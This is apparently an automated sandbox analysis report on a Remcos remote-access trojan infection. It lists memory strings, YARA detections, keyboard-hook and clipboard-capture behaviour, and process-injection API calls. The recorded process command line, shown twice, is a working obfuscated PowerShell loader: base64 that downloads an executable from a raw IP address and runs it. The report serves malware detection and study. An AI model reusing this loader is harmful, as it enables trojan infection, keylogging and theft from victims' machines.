http://ocsp.digicert.com0C
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0X
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0C
                Source: powershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                Source: powershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
                Source: powershell.exe, 00000003.00000002.2180154159.0000000005261000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                Source: powershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
                Source: powershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                Source: nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A8A000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000002.2476585705.0000000020B09000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.pmail.com0
                Source: powershell.exe, 00000003.00000002.2180154159.0000000005261000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lBfq
                Source: powershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/winsvr-2022-pshelp
                Source: powershell.exe, 00000003.00000002.2183352259.00000000062C9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                Source: powershell.exe, 00000003.00000002.2183352259.00000000062C9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                Source: powershell.exe, 00000003.00000002.2183352259.00000000062C9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                Source: powershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                Source: powershell.exe, 00000003.00000002.2187825048.0000000008A16000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
                Source: powershell.exe, 00000003.00000002.2183352259.00000000062C9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://sectigo.com/CPS0
                Source: nicerose.exe, 00000006.00000002.2251387721.000000000083E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.maan2u.com/OLJ9
                Source: nicerose.exe, 00000006.00000002.2278201946.0000000020AFD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.maan2u.com/docs/233_Emxwenem
                Source: nicerose.exe, 00000006.00000002.2251387721.0000000000884000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.maan2u.com/docs/233_Emxwenemixg
                Source: nicerose.exe, 00000006.00000002.2251387721.00000000008AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.maan2u.com:443/docs/233_Emxwenemixg
                Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
                Source: unknownHTTPS traffic detected: 103.82.231.117:443 -> 192.168.2.4:49736 version: TLS 1.2

                Key, Mouse, Clipboard, Microphone and Screen Capturing

                barindex
                Contains functionality to register a low level keyboard hook
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02819340 SetWindowsHookExA 0000000D,0281932C,0000000010_2_02819340
                Installs a global keyboard hook
                Source: C:\Windows\SysWOW64\colorcpl.exeWindows user hook set: 0 keyboard low level C:\Windows\SysWOW64\colorcpl.exeJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0281A65A OpenClipboard,GetClipboardData,CloseClipboard,10_2_0281A65A
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02824EC1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,10_2_02824EC1
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_02494EC1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,14_2_02494EC1
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0281A65A OpenClipboard,GetClipboardData,CloseClipboard,10_2_0281A65A
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02819468 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,10_2_02819468
                Source: Yara matchFile source: 6.2.nicerose.exe.2bb0000.1.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: Process Memory Space: nicerose.exe PID: 6500, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 5368, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 4940, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 3864, type: MEMORYSTR

                E-Banking Fraud

                barindex
                Yara detected Remcos RAT
                Source: Yara matchFile source: 14.2.colorcpl.exe.2480000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 18.2.colorcpl.exe.3200000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.colorcpl.exe.2810000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 18.2.colorcpl.exe.3200000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.colorcpl.exe.2810000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 14.2.colorcpl.exe.2480000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 6.2.nicerose.exe.2bb0000.1.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000A.00000002.4486647741.00000000277FE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000012.00000002.2471613728.0000000022DA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000E.00000002.2397238923.000000002AD90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.4486187101.0000000025F08000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2283124676.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: nicerose.exe PID: 6500, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 5368, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 4940, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 3864, type: MEMORYSTR
                Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED

                Spam, unwanted Advertisements and Ransom Demands

                barindex
                Contains functionalty to change the wallpaper
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0282A76C SystemParametersInfoW,10_2_0282A76C
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0249A76C SystemParametersInfoW,14_2_0249A76C

                System Summary

                barindex
                Detected Cobalt Strike Beacon
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"Jump to behavior
                Malicious sample detected (through community Yara rule)
                Source: 14.2.colorcpl.exe.2480000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 14.2.colorcpl.exe.2480000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 14.2.colorcpl.exe.2480000.0.raw.unpack, type: UNPACKEDPEMatched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
                Source: 18.2.colorcpl.exe.3200000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 18.2.colorcpl.exe.3200000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 18.2.colorcpl.exe.3200000.0.raw.unpack, type: UNPACKEDPEMatched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
                Source: 10.2.colorcpl.exe.2810000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 10.2.colorcpl.exe.2810000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 10.2.colorcpl.exe.2810000.0.raw.unpack, type: UNPACKEDPEMatched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
                Source: 18.2.colorcpl.exe.3200000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 18.2.colorcpl.exe.3200000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 18.2.colorcpl.exe.3200000.0.unpack, type: UNPACKEDPEMatched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
                Source: 10.2.colorcpl.exe.2810000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 10.2.colorcpl.exe.2810000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 10.2.colorcpl.exe.2810000.0.unpack, type: UNPACKEDPEMatched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
                Source: 14.2.colorcpl.exe.2480000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 14.2.colorcpl.exe.2480000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 14.2.colorcpl.exe.2480000.0.unpack, type: UNPACKEDPEMatched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
                Source: 6.2.nicerose.exe.2bb0000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 6.2.nicerose.exe.2bb0000.1.unpack, type: UNPACKEDPEMatched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
                Source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
                Source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
                Source: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 00000006.00000002.2283124676.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
                Source: Process Memory Space: nicerose.exe PID: 6500, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: Process Memory Space: colorcpl.exe PID: 5368, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: Process Memory Space: colorcpl.exe PID: 4940, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: Process Memory Space: colorcpl.exe PID: 3864, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Powershell drops PE file
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\nicerose.exeJump to dropped file
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nicerose[1].exeJump to dropped file
                Source: C:\Windows\SysWOW64\colorcpl.exeProcess Stats: CPU usage > 49%
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC8584 NtQueueApcThread,6_2_02BC8584
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BCDACC RtlDosPa,NtCreateFile,NtWriteFile,NtClose,6_2_02BCDACC
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BCDA44 RtlInitUnicodeString,RtlDosPa,NtDeleteFile,6_2_02BCDA44
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BCDBB0 RtlDosPa,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,6_2_02BCDBB0
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC79B4 NtAllocateVirtualMemory,6_2_02BC79B4
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC7D00 NtWriteVirtualMemory,6_2_02BC7D00
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC8BB0 GetThreadContext,SetThreadContext,NtResumeThread,6_2_02BC8BB0
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC8BAE GetThreadContext,SetThreadContext,NtResumeThread,6_2_02BC8BAE
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC79B2 NtAllocateVirtualMemory,6_2_02BC79B2
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BCD9F0 RtlInitUnicodeString,RtlDosPa,NtDeleteFile,6_2_02BCD9F0
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: 11_2_02C08584 NtQueueApcThread,11_2_02C08584
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: 11_2_02C0DACC RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,11_2_02C0DACC
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: 11_2_02C0DA44 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,11_2_02C0DA44
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: 11_2_02C0DBB0 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,11_2_02C0DBB0
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: 11_2_02C079B4 NtAllocateVirtualMemory,11_2_02C079B4
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: 11_2_02C07D00 NtWriteVirtualMemory,11_2_02C07D00
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: 11_2_02C08BAE GetThreadContext,SetThreadContext,NtResumeThread,11_2_02C08BAE
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: 11_2_02C08BB0 GetThreadContext,SetThreadContext,NtResumeThread,11_2_02C08BB0
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: 11_2_02C0D9F0 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,11_2_02C0D9F0
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: 11_2_02C079B2 NtAllocateVirtualMemory,11_2_02C079B2
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BCEC74 InetIsOffline,CoInitialize,CoUninitialize,Sleep,MoveFileA,MoveFileA,CreateProcessAsUserW,ResumeThread,CloseHandle,CloseHandle,ExitProcess,6_2_02BCEC74
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02824DB4 ExitWindowsEx,LoadLibraryA,GetProcAddress,10_2_02824DB4
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_02494DB4 ExitWindowsEx,LoadLibraryA,GetProcAddress,14_2_02494DB4
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C463166_2_02C46316
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BB20C46_2_02BB20C4
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C3614F6_2_02C3614F
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C5C1356_2_02C5C135
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C366DE6_2_02C366DE
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C36EF06_2_02C36EF0
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C2CEA36_2_02C2CEA3
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C4EF586_2_02C4EF58
